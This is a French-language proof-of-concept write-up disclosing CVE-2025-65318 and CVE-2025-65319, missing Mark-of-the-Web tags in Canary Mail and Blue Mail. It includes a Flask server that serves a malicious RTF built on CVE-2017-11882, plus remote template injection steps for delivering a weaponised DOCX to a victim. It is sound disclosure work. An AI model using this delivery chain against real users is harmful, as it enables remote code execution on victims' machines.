PoC pour CVE-2025-65318 et CVE-2025-65319

CVE-2025-65318 (BDU:2025-13740): Lors de l'utilisation de la fonctionnalité d'interaction avec les pièces jointes, Canary Mail 5.1.40 et versions antérieures enregistre les documents dans un système de fichiers sans balise Mark-of-the-Web, ce qui permet aux attaquants de contourner les mécanismes de protection intégrés du système d'exploitation Windows et des logiciels tiers.
CVE-2025-65319 (BDU:2025-13739): Lors de l'utilisation de la fonctionnalité d'interaction avec les pièces jointes, Blue Mail 1.140.103 et versions antérieures enregistre les documents dans un système de fichiers sans balise Mark-of-the-Web, ce qui permet aux attaquants de contourner les mécanismes de protection intégrés du système d'exploitation Windows et des logiciels tiers.

Aperçu

Le problème central n'est pas que les utilisateurs ouvrent des pièces jointes malveillantes, mais que des applications comme Canary Mail ou Blue Mail offrent une fonctionnalité pratique mais peu sécurisée pour les enregistrer ou les ouvrir. Je considère qu'il s'agit d'une vulnérabilité de sécurité qui expose les utilisateurs aux attaquants.

CWE-693 - Échec du mécanisme de protection

PoC

Pour démontrer l'ouverture non sécurisée des pièces jointes Office Word via la boîte de dialogue « Ouvrir avec » ou « Enregistrer sous », la vulnérabilité CVE-2017-11882 dans l'éditeur d'équations pour Office Word 16 et versions antérieures a été utilisée.

Créez un objet RTF malveillant sur la machine de l'attaquant qui ouvre une calculatrice sur la machine à l'aide du script.
Déployez un serveur pour envoyer un document RTF malveillant via une injection de modèle distant.

from flask import Flask, send_file, request
import logging
from datetime import datetime

app = Flask(__name__)

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

@app.before_request
def log_request_info():
    logger.info(f'Request: {request.method} {request.url} from {request.remote_addr}')

@app.after_request
def log_response_info(response):
    logger.info(f'Response: Status {response.status_code} for {request.url}')
    return response

@app.route('/download')
def download_file():
    try:
        response = send_file('exploit.rtf', mimetype='application/msword', as_attachment=True)
        logger.info('File download successful')
        return response
    except FileNotFoundError:
        logger.error('File exploit.rtf not found')
        return 'File not found', 404

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

Créez un document DOCX arbitraire et utilisez l'injection de modèle distant en exécutant, par exemple, un script PowerShell.
L'attaquant envoie le document DOCX malveillant résultant à la victime.
La victime ouvre le document malveillant en utilisant les fonctions « Ouvrir avec » ou « Enregistrer sous » dans Canary Mail/Blue Mail.
Lors de l'ouverture d'un document malveillant, la victime peut être compromise sans appuyer sur aucun bouton supplémentaire.

Impact

Une exécution de code à distance (RCE) potentielle pour les utilisateurs utilisant des versions obsolètes du logiciel Microsoft Office Word 16 et versions antérieures

Versions affectées

Canary Mail 5.1.40 et versions antérieures
Blue Mail 1.140.103 et versions antérieures

Vidéo PoC

CVE-2025-65318

https://github.com/user-attachments/assets/fc99d603-f56f-451b-a9f2-821422feef61

CVE-2025-65319

https://github.com/user-attachments/assets/68b638b9-e906-4c78-baae-84a369f807f3

Références

Avertissement

Ce dépôt est destiné uniquement à la recherche en sécurité éducative et défensive

CVE-2025-65318-and-CVE-2025-65319

Populaires